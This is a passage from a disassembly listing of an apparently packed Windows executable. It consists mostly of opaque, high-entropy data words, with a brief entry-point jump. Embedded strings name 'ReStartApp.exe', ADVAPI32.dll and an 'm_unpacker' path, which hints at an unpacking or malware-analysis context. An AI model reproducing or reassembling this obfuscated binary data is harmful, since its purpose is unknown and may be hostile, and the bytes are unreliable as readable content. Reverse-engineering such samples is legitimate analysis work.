4A00B521h, 5AEEDEDCh, 964E3081h, 0C97EB919h dd 0B400D5E6h, 42C25F40h, 72E4981h, 0CC07BF95h, 0C9E6702Fh dd 4C9048A5h, 0B7939C0h, 1C2CA913h, 0F03AB17Eh, 0AA5DD719h dd 9FF87A02h, 40FA16F7h, 6F52818Dh, 2B22022h, 0E0C3C9A3h dd 0D485BEC1h, 2F00BDA3h, 12A8A06Ah, 1819D50Ah, 0E936FF2Bh dd 0DA00557Bh, 0AE25707Fh, 18329343h, 2133FEF6h, 0CDFCB0C2h dd 91CFEA00h, 132A9611h, 0F62F0094h, 214E65E3h, 0C5073D0Bh dd 9A92E6E5h, 0BE9D6C80h, 0AF5CA039h, 13D407F0h, 938267B2h dd 0DCF0F70Ah, 0BC372CC0h, 0C2B068EDh, 3BE7A451h, 0D1E053E8h dd 4D677163h, 0A58B4800h, 28043445h, 21B86394h, 75A89B36h dd 58C0C999h, 0D05161B2h, 8BEEFE2Ch, 8B3AF9A1h, 9F9631h dd 625E10FBh, 0F1C53D94h, 453650E4h, 5C187232h, 185E595Ah dd 2137FE99h, 260F0695h, 80B29B31h, 526C8CEAh, 3F61C035h dd 0C81C792Eh, 0C0770500h, 0E164BF93h, 73A700AFh, 0EB7ACE11h dd 31CF04FEh, 1E3BC094h, 4608F2h, 81824416h, 4880EBDCh dd 29345230h, 6ED6CF4h, 3940D69Dh, 0C48A190h, 8CCF0022h dd 0A21BCE5Bh, 29E80796h, 50E97602h, 0EBB0EEDCh, 0CFED951Dh dd 5138110Ch, 6F9B0113h, 67A69444h, 0AEA885ECh, 0A800BCD9h dd 0EBDF296Ah, 31396210h, 9C81ABC2h, 0F0C7B7E3h, 59E0A0F8h dd 0F1DCB902h, 9039A195h, 887B6BA0h, 69F02F11h, 4BC908A0h dd 474560C0h, 0B83C6F4Ch, 29C4FCDCh, 0A2D8B72Ch, 4869203Ch dd 315EE000h, 0BA2D94C2h, 0A69300EBh, 18B76764h, 0A1240D5Dh dd 9B60BC98h, 0FAD494B4h, 956D005Bh, 310FA19Eh, 4701135Fh dd 0C02E0CBEh, 0DC4853A4h, 57902C3h, 666F37F5h, 394DE898h dd 5AB8A901h, 0B7941A54h, 4C219A4h, 8815C85Ch, 4600500Ch dd 661E57E5h, 3A04AFEh, 3708FAFCh, 19E911CFh, 84E180A7h dd 0C4A2559Fh, 7F3C0066h, 59FC80E0h, 0E7007581h, 3BA82629h dd 8752A2h, 0DF55AE8Fh, 11D0C7A0h, 95E3E600h, 69436BD1h dd 99BC1CEFh, 8454807Ch, 17285221h, 0C51ED471h, 2546DD53h dd 3799119h, 6BAE705Ch, 0B7C8D673h, 7C00F6FCh, 4014031h dd 3395F2F4h, 81D13F9Ch, 0D15E388h, 8A4011DDh, 3D30963Bh dd 8F0500B3h, 0D3172C47h, 3102777Bh, 8C190468h, 0F8D88046h dd 5094FEA6h, 3AC289Fh, 5C0EFAB2h, 0A8B999B8h, 71D7D01Bh dd 0B0476F24h, 0E0B82E69h, 0DDC0CA31h, 0EC820CD5h, 68213BFEh dd 1801CEECh, 90C0EF8Ah, 0D8220731h, 1EEC240Fh, 0BF94A3A0h dd 53049B76h, 9835B4A2h, 3C334CC0h, 94609FF6h, 8E0A641Eh dd 90D91796h, 79118080h, 62BA5950h, 2652CA20h, 1C2DF8A1h dd 0F47DD1ABh, 2A03D762h, 0FC48E9A6h, 9932A8F1h, 1C511DBFh dd 721A8CF6h, 9F359591h, 0B807B93Eh, 51B79475h, 21CEED30h dd 276D0054h, 0BF96BA25h, 61004D78h, 9766E3BBh, 0DDB6AFA0h dd 0C4E50030h, 0E25EBCBh, 0B581950h, 0C5CD97A0h, 0FAA6B10Bh dd 81E701B3h, 81809439h, 0E28063BBh, 0BE0740C0h, 0D94623C6h dd 717219E0h, 2CC10C81h, 3C51A6A1h, 5D002C99h, 836C4A37h dd 718B0162h, 6FC61F57h, 66E88033h, 65AF641Ch, 41A07FAh dd 0C0823B56h, 0D831E9ACh, 264CD058h, 2B113877h, 0F0BB1D0Ch dd 1430EE69h, 0F3B71937h, 9E3304AFh, 20FFEB7Fh, 51AA1Dh dd 0EE23A0C5h, 0D080DF25h, 62222414h, 3F909014h, 0E9BC93B4h dd 0BF83E85Fh, 9815F7E1h, 1918ADDAh, 31275382h, 9B24C872h dd 7D7E5BF8h, 8F78F60Ch, 6E5FA57h, 169F6597h, 5C0A8066h dd 90BD2CDAh, 20724D42h, 0A2C12265h, 1550191Ch, 470A8407h dd 0ED463FE0h, 0CD0B0BDh, 25FDEBF6h, 3258FE79h, 0FFCB8020h dd 0AD4E92h, 8077E71Dh, 0F80C8FD5h, 0E21E287Fh, 0F0304721h dd 90B996C3h, 0EE1800A8h, 0AC68DA71h, 0C800C493h, 4AC2CF08h dd 0C095397Fh, 24B72299h, 8A004251h, 5920ED23h, 3CA777CBh dd 0DC0B34C9h, 0CC18FEA0h, 0CAF20E70h, 0CFB6F601h, 449CFAE6h dd 7F0D7084h, 0C9808CF5h, 0CDBE90Bh, 84CB800Eh, 7E3B17h dd 8550EE0Fh, 0D1470534h, 0E9822890h, 0DCD49820h, 8601E0B6h dd 6F9A9029h, 0B462FE3Bh, 387BA800h, 8571E6D4h, 0D8372F00h dd 1A319651h, 0DBA1C165h, 605FAA8Fh, 7D01BF46h, 16F40DFAh dd 99871E53h, 105A510Eh, 0D45B18A3h, 3B802E01h, 0D9CBB443h dd 0C0596831h, 0C37F6047h, 26099D94h, 40CC1819h, 0F8264C52h dd 1C42CB05h, 0CEC00C7Ch, 19AA11Bh, 75B5C83Fh, 7270317Bh dd 6F953DFCh, 0D81E1289h, 46FF8002h, 7C4453h, 0A20F3F82h dd 0CE2A551Fh, 86494C04h, 14C2315Dh, 0EEC51078h, 48C069ECh dd 0B45AF851h, 7CED4C81h, 0D8B3D5C0h, 640EC2F2h, 12AA2CC7h dd 0D8E0780Ah, 0D3430E01h, 9E101E52h, 6802AA3Eh, 0F7635AC8h dd 60C0828Dh, 6A8C997h, 0F5D0EBF1h, 775E7DE5h, 9116F07Bh dd 0C2F880CCh, 3955477Dh, 48A9AA60h, 6A60C9h, 5A7F9998h dd 75C544A5h, 4EB0CB00h, 0AF5DFB0Fh, 8DE20A96h, 80ACA417h dd 0D205F02h, 6007908h, 6D0BB65Ch, 7CB12C3Dh, 0D41C136Ah dd 5DD00196h, 4839A73Eh, 0CD0011B0h, 0B7CBC094h, 13A6C4Bh dd 0EBE68090h, 23D1488Eh, 2C007EECh, 0B0F6FEC7h, 65308Fh dd 1A903842h, 62AC2A39h, 5381480Ah, 8400181Fh, 10CAEF6Ah dd 4F3000E4h, 1E33C632h, 0B9C0B6BEh, 0A593B33Bh, 9CF4A33Eh dd 280F2859h, 60778FA0h, 90015CECh, 92B78AFh, 18640381h dd 343A8410h, 20DFA205h, 0C4EB7DBh, 6552EE9Ah, 0E082CAC8h dd 0EC5860DEh, 0B6DF0B4Ch, 50245817h, 0F89F40EDh, 1A40986h dd 589C41CCh, 9E807D3Fh, 0BF076B84h, 21802639h, 6E2D3Dh dd 239FDA11h, 0EBB66D72h, 0C04C7948h, 9BE5C374h, 18101FA7h dd 0B28800B3h, 0F4AAE8A6h, 0D8960F3Dh, 34D68734h, 5D49B7A0h dd 35CA0C1Ah, 45491C52h, 0A0D4C400h, 8EFB1614h, 5C0A3FDBh dd 0DC85D30Eh, 0F775EEE0h, 0BF01672Ch, 0C438B360h, 45F0E981h dd 150D7C41h, 0F8A83947h, 1599FE00h, 0E477C452h, 82AE870Fh dd 67F200B3h, 2E799C63h, 30C9DC03h, 0C51BCA31h, 94092000h dd 45B37EF1h, 0EDC0005Eh, 0E7FF85DFh, 6F01AC8Ah, 219BE110h dd 40CAB95Fh, 261A80h, 9A82C368h, 0A11DB037h, 82F19C6Ch dd 0F6E1C028h, 40D7E80Eh, 0D6134100h, 5322C99Ah, 98650312h dd 0DBA72161h, 78B59388h, 39F8FA01h, 815270F3h, 0B0E030h dd 96E2D179h, 0F5B218A6h, 623B7C00h, 0DAC964E3h, 0B0F701B6h dd 0CF32DC84h, 1F90DCFBh, 0BF3F93F8h, 4F820268h, 51839516h dd 0CB451D3Ch, 8804696h, 0C3DE4AF6h, 0EEF370EDh, 0CE01B603h dd 0D74C55FCh, 0FEE09049h, 0F441C034h, 7D965C9h, 0E90EBC00h dd 91BFAC32h, 0CDEB0054h, 3D6F470Fh, 0E80233F1h, 7A17927h dd 0EB95C00Ch, 802C9895h, 5C25F44h, 0F304AA1Bh, 0EF70D0E1h dd 0AC2602F2h, 968538B1h dd 78C068AFh, 241181EAh, 406818E5h, 91058BCh, 82CD760Fh dd 2CEF2023h, 30E599E2h, 0DE90F1E9h, 6C5C6F71h, 796911F4h dd 98C5DC1Bh, 41E78D99h, 2C801184h, 5BE60114h, 4E4F66DAh dd 23002432h, 9270DCBBh, 0DB0C8306h, 0C90E15C0h, 3CD1014Ah dd 6E6579A3h, 1BCE40ADh, 2150D0E4h, 421203C6h, 70D015C9h dd 5BC538Eh, 4FCA29BBh, 0F8C405B0h, 0AB4432Dh, 0E100EC18h dd 484EEF25h, 0B44D7h, 0A0DF8E06h, 0ED95D1EAh, 0FBF8101Ch dd 0AE2CB503h, 0E05FE852h, 7DB0267Fh, 2A31606Ch, 0A83E55D6h dd 5C808072h, 9A2D2283h, 0D5A3241Ch, 0C210060h, 0DAE485C5h dd 1700F4A6h, 0C42A4446h, 0F07F4h, 11B5F37h, 96E3E61Fh dd 10B04850h, 543E3203h, 70FFCB6h, 0CA66A80Eh, 0AB3CC2AAh dd 2D6FA0A0h, 20007FF2h, 85955C6Ah, 0F5358733h, 4E70D0D7h dd 39E918CFh, 0AB0E317Dh, 155B9D00h, 94697FE7h, 203C4E9Ch dd 3D7D0CD8h, 0C82C60B8h, 4803BDA0h, 88D906B2h, 54F3EB5Ch dd 4B668050h, 60604017h, 0B3094C8Dh, 71702400h, 0E9849B27h dd 0BD3200CFh, 93C4162Ch, 0AF293BA8h, 4000F0FFh, 0CAD8221Ah dd 0F87B037Eh, 45121DF3h, 69D2BCB8h, 0C2A23812h, 0E63774C8h dd 0B0D10191h, 74AB6458h, 0F232CC2Fh, 9CA8403Fh, 9E00B3CDh dd 904339A0h, 107F0288h, 15EBEC14h, 3FE5C72h, 9433EFh dd 0AE955F54h, 476AF3h, 0DDB239Ch, 3C748EDDh, 8B4E753Bh dd 48FEC5E7h, 7D34440h, 0F3978E2Bh, 6E313279h, 66B584A0h dd 0C109C8B7h, 837C4FD4h, 0B802ED10h, 77803FBh, 829ADDE8h dd 0C9ABC581h, 74304020h, 187C8F77h, 1935B832h, 4268EC32h dd 50A600B9h, 0BD74E545h, 9809D19h, 21439997h, 39F60B02h dd 5AFFA5EEh, 79E01DCh, 0D1776F82h, 69F4F868h, 950EFA02h dd 421DAE5Bh, 0A898034h, 9492B5E1h, 0B8193E08h, 3434D9F4h dd 0C09C07A4h, 2FC0441h, 4A8F9F4h, 6EFDCDAh, 95908CE0h dd 0D3FC2A01h, 9B3B6739h, 16089FC0h, 3AE6B06h, 0EA18A1DBh dd 0BB286100h, 5946F02h, 276938C0h, 0FEE9A20Eh, 58CA6BA1h dd 97BFF885h, 0A1091500h, 34EE0E61h, 55893CC9h, 0F36FFC60h dd 28B453D4h, 77007596h, 0E9F14CBh, 0A3D00EECh, 0FEE9ED12h dd 42F54883h, 739D9599h, 3C117520h, 0A20030FFh, 0F808C2FBh dd 330E45EBh, 2AFAA3E2h, 8828580Ah, 60FF3944h, 871C3931h dd 8A00737Fh, 34E2AD48h, 0FA1B470Ah, 0C3E826D0h, 1D5501C8h dd 725278AAh, 2003747Ch, 618FD504h, 7825DAC2h, 903D3AC8h dd 2E7B9D4Ch, 4C87A40h, 0D0F21929h, 0EEA5FDACh, 3DB69518h dd 93B9B81h, 6D31895Eh, 0C1CCF0E8h, 0EE1B5580h, 0D43CA816h dd 9DFD1E0Bh, 0B44B4291h, 8721970h, 6106AD7Ch, 919B9F11h dd 0FA784450h, 64F20224h, 0BB0CB408h, 738020DAh, 0B2004C19h dd 44FCA1D6h, 0FCBF9738h, 9F882C6Bh, 0ADE8030Ch, 5828C89Eh dd 10005476h, 0DF67B6E2h, 0CF503EFh, 85180F11h, 103E691h dd 0C2DEDCAEh, 0D9B4D0C7h, 0E1BD0A4Fh, 18682053h, 80C0DE8Ch dd 0A86CB83Bh, 0E271944Ch, 1F40E4Ch, 66626FC8h, 0B8EF97B6h dd 0E4FA16D7h, 0DA8100A4h, 0BBABBF8Dh, 0E92464BEh, 48402852h dd 3FD64FC6h, 13805B7Eh, 0C456B0Fh, 81009F8Fh, 0E0E8A0DCh dd 89219C95h, 1406147h, 22BE1D4Ch, 0FDC500A8h, 0C2BFDBF0h dd 22334B72h, 0B4C0DAACh, 6CB1C5B4h, 25239980h, 520CE4Bh dd 164794EAh, 1198B0DBh, 0B3A0E101h, 0CF62E2FEh, 0A10FC023h dd 0D3C06EB6h, 9AF55860h, 98E90401h, 8DD0147Fh, 4404B6A8h dd 6400BF1Dh, 0D186954Eh, 9BE6C11h, 0CA4615EFh, 0B6C4AE00h dd 491B26FBh, 0C0F0449Ch, 0C15CF8h, 45364A96h, 3F6C462Ch dd 4906D490h, 8819B9E7h, 33E903F1h, 0B1D6AEBAh, 0D125F080h dd 2DCAA909h, 0D09C1B92h, 3351D0Fh, 0F6F574E1h, 0B2E8A2E5h dd 912C967Dh, 0B0398C14h, 0A794B103h, 4CC14C3Bh, 17E57D7Ah dd 873F3787h, 0F81D374h, 62FF74F9h, 0BE63B70h, 8715B949h dd 16855121h, 29EFDC00h, 39CCFDCBh, 1D2DBD2h, 60FBFFFFh dd 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_5394BD: ; CODE XREF: start:loc_4DE265j ; DATA XREF: start:loc_4DE086o jmp loc_53C836 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- align 4 dd 3 dup(0) dd 4B660000h, 57h, 4 dup(0) dd 999E0000h, 1178FFA7h, 59h, 2 dup(0) dd 0D2E30000h, 53h, 2 dup(0) dd 9F70000h, 6CE1009Fh, 80A3809Dh, 0CDA6h, 73160000h, 0C3DF00A1h dd 406Dh, 3 dup(0) dd 5ECC0000h, 850B77DDh, 57h, 0 dd 22920000h, 9Fh, 0 dd 69DD0000h, 0B5E2009Fh, 68548A0Fh, 64696D65h, 61h, 1Fh dup(0) dd 6F110000h, 1161h, 9D100000h, 56h, 1Eh dup(0) dd 0FEF00000h, 10h dup(0) dd 0E1A0000h, 5Ah, 0BC0000h, 2 dup(0) dd 0E24F0000h, 0FADFh, 4 dup(0) dd 9FA00000h, 0FFFFh, 4 dup(0) dd 3040000h, 7FFEh, 32h dup(0) dd 9E480000h, 77E7h, 58840000h, 7E4Ch, 0 dd 32380000h, 0FFA9h, 2 dup(0) dd 3040000h, 0B87FFEh, 0B000000h, 0C20374C0h, 448B0018h dd 0E8530C24h, 0 dd 17C3815Bh, 89000000h, 8910245Ch, 5B142444h, 9FA037B8h dd 8BE0FF00h, 0FF042444h, 0E0h, 12h dup(0) dd 1D4C0000h, 160h, 9 dup(0) dd 2BCF0000h, 144Fh, 0 dd 0C56F0000h, 0FFFFh, 8 dup(0) dd 21600000h, 77E8h, 19h dup(0) dd 6B3D0000h, 0C40000h, 2 dup(0) dd 4, 0 dd 9D8D0000h, 0BE9h, 0CC220000h, 0FFA8h, 3 dup(0) dd 0A2240000h, 5005FF58h, 417CDDB3h, 77E8h, 4 dup(0) dd 0D6EE0000h, 53h, 2 dup(0) dd 6DBC0000h, 5Ah, 3040000h, 0Ch dup(0) dd 0A67E0000h, 53h, 5 dup(0) dd 506E0000h, 5322h, 0FE40000h, 5 dup(0) dd 0B1820000h, 0B555h, 0Bh dup(0) dd 6A770000h, 0 dd 0FFFF0000h, 0BFh, 86B80000h, 5Ah, 3 dup(0) dd 98420000h, 2DF58048h, 10000h, 0DBA0000h, 0A5E70059h dd 0A3h, 4 dup(0) dd 38E40000h, 12FBh, 3 dup(0) dd 15680000h, 314500A0h, 9Fh, 170000h, 0FEF80000h, 5Ah dd 4 dup(0) dd 0ABAE0000h, 93934F99h, 9Fh, 0FCFC0000h, 0E626FFFFh dd 0E62Ch, 0 dd 0FFFF0000h, 0FFFFh, 5 dup(0) dd 0FEF00000h, 2 dup(0) dd 3E0000h, 0BFh, 8EA00000h, 57h, 0Ah dup(0) dd 2 dup(10000h), 5 dup(0) dd 0FCFC0000h, 0A800A181h, 0A7120003h, 53h, 7 dup(0) dd 388B0000h, 0FF301FDDh, 0CC1Ch, 5 dup(0) dd 144C0000h, 0 dd 900000h, 2 dup(0) dd 3F7B0000h, 0D7410056h, 57h, 6 dup(0) dd 0E8F30000h, 3 dup(0) dd 3040000h, 0EBB37FFEh, 77F7h, 2 dup(0) dd 0AEEE0000h, 53h, 0Ah dup(0) dd 3040000h, 7FFEh, 8 dup(0) dd 1050000h, 0A28h, 4 dup(0) dd 0ADh, 7 dup(0) dd 7B50000h, 6AF4h, 3 dup(0) dd 4F70000h, 0FFB0005Ah, 20Fh, 3 dup(0) dd 0CDAE0000h, 56h, 6 dup(0) dd 7D10000h, 3 dup(0) dd 0B1A70000h, 0Ch, 9 dup(0) dd 21600000h, 77E8h, 4 dup(0) dd 32680000h, 0A0h, 88490000h, 59h, 0C3B60000h, 0FFFFh dd 4 dup(0) dd 3040000h, 7FFEh, 0Eh dup(0) dd 3040000h, 7FFEh, 9BAC0000h, 0A1h, 390000h, 566C0000h dd 0FD9Dh, 93EF0000h, 77E7h, 2 dup(0) dd 840000h, 0EBF60000h, 0A5FD0057h, 77E7h, 0 dd 544F0000h, 0FE6FD32h, 9Eh, 0 dd 0A28F0000h, 40056h, 0 dd 2B980000h, 4B7A005Ah, 3 dup(0) dd 0E8F30000h, 4 dup(0) dd 3040000h, 2D057FFEh, 21C7h, 7 dup(0) dd 2E070000h, 0DE850057h, 2 dup(0) dd 64770000h, 5Ah, 91D90000h, 51DA8164h, 0AEBFh, 8 dup(0) dd 64D0000h, 8D89h, 0F4F0000h, 304904Fh, 7FFEh, 2 dup(0) dd 7FD80000h, 0A1h, 0 dd 0C1780000h, 1, 2 dup(0) dd 3040000h, 7FFEh, 5 dup(0) dd 0FEF80000h, 0FFA4005Ah, 12h, 5 dup(0) dd 2C4B0000h, 304FFFFh, 7FFEh, 0FE40000h, 0FF540000h, 12h dd 3 dup(0) dd 27550000h, 0D70677E8h, 77E6h, 0D0510000h, 0F0B30000h dd 58h, 0Ch dup(0) dd 69860000h, 826Fh, 3 dup(0) dd 6B3D0000h, 8 dup(0) dd 82E60000h, 92342BD8h, 22D8009Fh, 0A0h, 2 dup(0) dd 0C96A0000h, 77D4h, 0A3D70000h, 57h, 2 dup(0) dd 2DF50000h, 57h, 17h dup(0) dd 0ABA40000h, 3040059h, 73B07FFEh, 0A67E7A66h, 53h, 0CFC80000h dd 2BCFE0BAh, 57h, 2 dup(0) dd 0F42B0000h, 7A4Eh, 0 dd 0FF540000h, 12h, 6 dup(0) dd 5C860000h, 57h, 2 dup(0) dd 59780000h, 5Ah, 8 dup(0) dd 0FFA40000h, 12h, 0 dd 9FA00000h, 0FFFFh, 0D8960000h, 57h, 0 dd 21600000h, 77E8h, 700000h, 15h dup(0) dd 705B0000h, 0 dd 980000h, 0 dd 97A0000h, 58h, 0 dd 6B3D0000h, 8D8D0000h, 703Ah, 5 dup(0) dd 69DD0000h, 9Fh, 3 dup(0) dd 0EA430000h, 0C000059h, 2 dup(0) dd 9C0000h, 0D7220000h, 5Ah, 70C40000h, 9Fh, 0 dd 62B50000h, 2 dup(0) dd 0A00F0000h, 898h, 0 dd 0E90000h, 4, 2 dup(0) dd 0FEF80000h, 5Ah, 0 dd 800000h, 0 dd 0CC5F0000h, 0D082FFA9h, 0FFA6h, 0 dd 64B50000h, 7738h, 2 dup(0) dd 0ABAE0000h, 4F99h, 0 dd 588C0000h, 7E4Ch, 2 dup(0) dd 0C7960000h, 53h, 2 dup(0) dd 0C4B30000h, 2424D818h, 2424h, 4 dup(0) dd 0A0000000h, 4935001Bh, 770Bh, 2 dup(0) dd 3AA00000h, 0B935FE0Dh, 0D79Eh, 9 dup(0) dd 749B0000h, 0FD93h, 0 dd 0A8A70000h, 282Ch, 0 dd 0ECF00000h, 0A28F800Ah, 56h, 0D4910000h, 0AF4077C4h dd 0FFFEh, 1E0F0000h, 9CFFA8h, 12h dup(0) dd 3E3B0000h, 9Fh, 9DF0000h, 3040000h, 17FFEh, 5 dup(0) dd 20000h, 0 dd 230000h, 57h, 5 dup(0) dd 0FD6E0000h, 12h, 0 dd 0A71F0000h, 103BF8F6h, 59h, 0 dd 77E6h, 47210000h, 4 dup(0) dd 0B5E20000h, 8A0Fh, 5 dup(0) dd 21210000h, 2121h, 2 dup(0) dd 740000h, 30DF0000h, 0A9C5h, 5 dup(0) dd 0AC2E0000h, 6 dup(0) dd 0E0140000h, 4Dh, 6 dup(0) dd 0C0000h, 240h, 7 dup(0) dd 67770000h, 0Eh dup(0) dd 0FFE00000h, 0C6D70012h, 25Ah, 8 dup(0) dd 1E660000h, 0CED1h, 3 dup(0) dd 0F92D0000h, 0FFA4h, 2 dup(0) dd 0EA130000h, 59h, 5 dup(0) dd 34300000h, 312Dh, 4 dup(0) dd 0B0000000h, 0Dh, 6 dup(0) dd 67770000h, 0 dd 35B0000h, 0 dd 7A170000h, 800Bh, 2 dup(0) dd 69DD0000h, 9Fh, 4 dup(0) dd 0E8F30000h, 3 dup(0) dd 76EA0000h, 0 dd 0A00F0000h, 9Fh, 0 dd 915B0000h, 9Fh, 30DF0000h, 0A9C5h, 1Bh dup(0) dd 587E0000h, 0FFACh, 3040000h, 58h, 0C3AE0000h, 0FFA9h dd 6 dup(0) dd 7FFEh, 2 dup(0) dd 0BE750000h, 186Ch, 2 dup(0) dd 41D60000h, 0FCD2h, 0AE630000h, 18h, 3 dup(0) dd 257C0000h, 2FE5Fh, 0 dd 0FFFF0000h, 0FFFFh, 2 dup(0) dd 7A480000h, 3040000h, 7FFEh, 2 dup(0) dd 6B3D0000h, 36630000h, 58h, 0Ah dup(0) dd 880000h, 0D20B0000h, 0FFA8h, 0 dd 0FCFC0000h, 8001h, 0 dd 230F0000h, 0 dd 2FE80000h, 77E8h, 2 dup(0) dd 3F80000h, 2DF50000h, 57h, 5 dup(0) dd 777B0000h, 0C76h, 3 dup(0) dd 46A70000h, 5CB533FCh, 77E7h, 8 dup(0) dd 0AB5F0000h, 7FB6h, 2 dup(0) dd 69510000h, 73D4h, 7 dup(0) dd 2BDE0000h, 9Fh, 0 dd 4E130000h, 30DF362Eh, 0A9C5h, 0 dd 71E90000h, 658Ch, 0Ah dup(0) dd 22D80000h, 0A0h, 3 dup(0) dd 40h, 4 dup(0) dd 0B5E20000h, 8A0Fh, 0DD130000h, 56h, 6B3D0000h, 6C0000h dd 2 dup(0) dd 77E6h, 67540259h, 7 dup(0) dd 0AEEE0000h, 53h, 0Ch dup(0) dd offset dword_43C25C+3DA4h dd 2 dup(0) dd 2DF50000h, 57h, 4 dup(0) dd 0D5540000h, 9Eh, 6D30000h, 5Bh, 0F0B30000h, 58h, 0CA50000h dd 147h, 3 dup(0) dd 8D530000h, 0C79600A3h, 53h, 0AF400000h, 0FFFEh, 0 dd 3040000h, 7FFEh, 0 dd 2DF50000h, 57h, 2 dup(0) dd 6CE10000h, 809Dh, 4 dup(0) dd 5BEE0000h, 6112h, 0Eh dup(0) dd 0B1340000h, 0A1h, 3 dup(0) dd 0FFB00000h, 13Fh, 3 dup(0) dd 9FDD0000h, 0BD4AFFFFh, 0FF49h, 3 dup(0) dd 0A28F0000h, 56h, 4 dup(0) dd 0D1C00000h, 57h, 0 dd 65520000h, 72617473h, 70704174h, 6578652Eh, 8 dup(0) dd 0F80000h, 77E6h, 0B4FF0000h, 53h, 2 dup(0) dd 8C0A0000h, 9Fh, 9FA00000h, 0FFFFh, 0 dd 0DEA0000h, 94Eh, 0 dd 5EB60000h, 57h, 3 dup(0) dd 0FEF80000h, 5Ah, 2 dup(0) dd 3D1B0000h, 57h, 2 dup(0) dd 69DD0000h, 0FFF0009Fh, 20012h, 0 dd 0FCFC0000h, 8001h, 25Ah, 0 dd 0A1FE0000h, 0A28F00AFh, 56h, 0 dd 0D80F0000h, 77E8h, 3 dup(0) dd 0AECF0000h, 0FF38h, 62380000h, 57h, 3 dup(0) dd 48CE0000h, 4F85h, 0 dd 23D70000h, 9D4F77DDh, 0FFFFh, 0Ah dup(0) dd 575B0000h, 58h, 5 dup(0) dd 0E800000h, 8 dup(0) dd 780E0000h, 0FFFFh, 0Ah dup(0) dd 21680000h, 77E8h, 0 dd 9C440000h, 0FFFFh, 5FF10000h, 0FF60h, 0 dd 2B690000h, 0FFFFh, 3 dup(0) dd 0E93E0000h, 0FCC465BFh, 966D8001h, 190h, 2 dup(0) dd 0A6E90000h, 50A177EBh, 8678h, 2 dup(0) dd 8D8D0000h, 7216h, 0 dd 0D0490000h, 56h, 2 dup(0) dd 9EB70000h, 0FFFBh, 6B3D0000h, 0Ah dup(0) dd 6B3D0000h, 0 dd 79630000h, 77E7h, 6C720000h, 1, 0 dd 0F17E0000h, 8784h, 2 dup(0) dd 6A1E0000h, 3 dup(0) dd 0DD380000h, 0A40058h, 388B0000h, 1FDDh, 0Ch dup(0) dd 9E80000h, 0FF540000h, 12h, 0 dd 9A480000h, 0FFFFh, 0 dd 3040000h, 7FFEh, 5FF10000h, 3EFAFF60h, 0B7EBh, 2 dup(0) dd 0A28F0000h, 56h, 230F0000h, 6 dup(0) dd 0AC0000h, 0FEF80000h, 5Ah, 8 dup(0) dd 90BF0000h, 77F7h, 3 dup(0) dd 3A430000h, 4E49575Ch, 53574F44h, 7379535Ch, 336D6574h dd 44415C32h, 49504156h, 642E3233h, 6C6Ch, 3Dh dup(0) dd 9A040000h, 0FFFFh, 6B3D0000h, 6 dup(0) dd 0AE630000h, 4C97h, 2 dup(0) dd 10000000h, 40h, 2 dup(0) dd 8D8D0000h, 5D8703Ah, 77E8h, 0Ah dup(0) dd 780000h, 6 dup(0) dd 44140000h, 9 dup(0) dd 230000h, 53h, 0 dd 473C0000h, 1, 0FFFE0000h, 0FFFFh, 0 dd 4B660000h, 0BC0057h, 0D88F0000h, 0E923h, 0Ch dup(0) dd 15680000h, 0A0h, 2 dup(0) dd 190000h, 749B0000h, 5CB5FD93h, 77E7h, 3 dup(0) dd 9FA00000h, 0FF54FFFFh, 12h, 2 dup(0) dd 7FD80000h, 0A1h, 2 dup(0) dd 6B3D0000h, 0Ah dup(0) dd 80280000h, 0FF5Eh, 0 dd 2, 3 dup(0) dd 293F0000h, 59h, 27D90000h, 202h, 2BCF0000h, 144Fh, 0A00000h dd 0A8A70000h, 518282Ch, 28Bh, 3 dup(0) dd 2F870000h, 8601h, 6 dup(0) dd 50240000h, 77FCh, 2 dup(0) dd 2D8D0000h, 4E8Bh, 3 dup(0) dd 4B660000h, 8C0057h, 0 dd 230000h, 57h, 0 dd 9C370000h, 9Fh, 93930000h, 215C009Fh, 2, 7 dup(0) dd 60E0000h, 0A099005Bh, 77E7h, 4 dup(0) dd 0F85D0000h, 5Ah, 0B1680000h, 8B00009Eh, 2 dup(0) dd 2E0F0000h, 0FEF877F5h, 5Ah, 2 dup(0) dd 40000h, 2 dup(0) dd 0B6h, 4 dup(0) dd 69DD0000h, 9Fh, 2 dup(0) dd 230000h, 57h, 3 dup(0) dd 22220000h, 22222222h, 0A28F2222h, 56h, 0 dd 89900000h, 0FFA5h, 113F0000h, 59h, 3 dup(0) dd 90000000h, 3, 0B1CA0000h, 0F77500ADh, 3A43005Ah, 755F6D5Ch dd 6361706Eh, 72656Bh, 7Ch dup(0) dd 0FFFF0000h, 0B5E216BFh, 705B0000h, 4 dup(0) dd 87F20000h, 2 dup(0) dd 0CC890000h, 58h, 23h dup(0) dd 459C0000h, 2 dup(0) dd 0FFB00000h, 1DFh, 13h dup(0) dd 0DBFF0000h, 1766h, 0 dd 4048h, 2 dup(0) dd 2DF50000h, 57h, 78900000h, 0C5Bh, 1B400000h, 76B4h dd 0 dd 1E660000h, 0CDC8CED1h, 58E10056h, 709h, 5Fh dup(0) dd 0FFB00000h, 17Fh, 4 dup(0) dd 0B6C20000h, 9Fh, 2Ch dup(0) dd 4C3C0000h, 8F31h, 179F0000h, 0FF50h, 0AFDC0000h, 3048803h dd 7FFEh, 0 dd 23B60000h, 56h, 4 dup(0) dd 0D20B0000h, 0FFA8h, 3040000h, 7FFEh, 2 dup(0) dd 2DF50000h, 57h, 2 dup(0) dd 1B10000h, 6B45h, 0 dd 11110000h, 60601111h, 9F3Dh, 76E00000h, 7DB7h, 4 dup(0) dd 3E680000h, 77E8h, 6 dup(0) dd 0FFFF0000h, 0FFFFh, 0 dd 3040000h, 7FFEh, 0Fh dup(0) dd 36630000h, 0A0370058h, 9Fh, 2 dup(0) dd 8EA5025Bh, 1097Dh, 3 dup(0) dd 0B5410000h, 5Ah, 0Dh dup(0) dd 0C4860000h, 77E7h, 0 dd 72730000h, 0C5F39354h, 97E6h, 0AEh dup(0) dd 389F0000h, 58h, 0 dd 10000h, 0 dd 0BE0000h, 4 dup(0) dd 30DF0000h, 0E9A9C5h, 4, 3 dup(0) dd 1D300000h, 0FFC446E1h, 12h, 5 dup(0) dd 0D0710000h, 56h, 5 dup(0) dd 60030000h, 0 dd 0FD080000h, 38A10012h, 22A1h, 0CD770000h, 3A870053h dd 5D710056h, 0FFA9h, 0F8CF0000h, 57h, 3040000h, 0A28F7FFEh dd 56h, 0 dd 97030000h, 0FF60h, 0BB600000h, 69DDFFFFh, 9Fh, 0 dd 10000h, 7 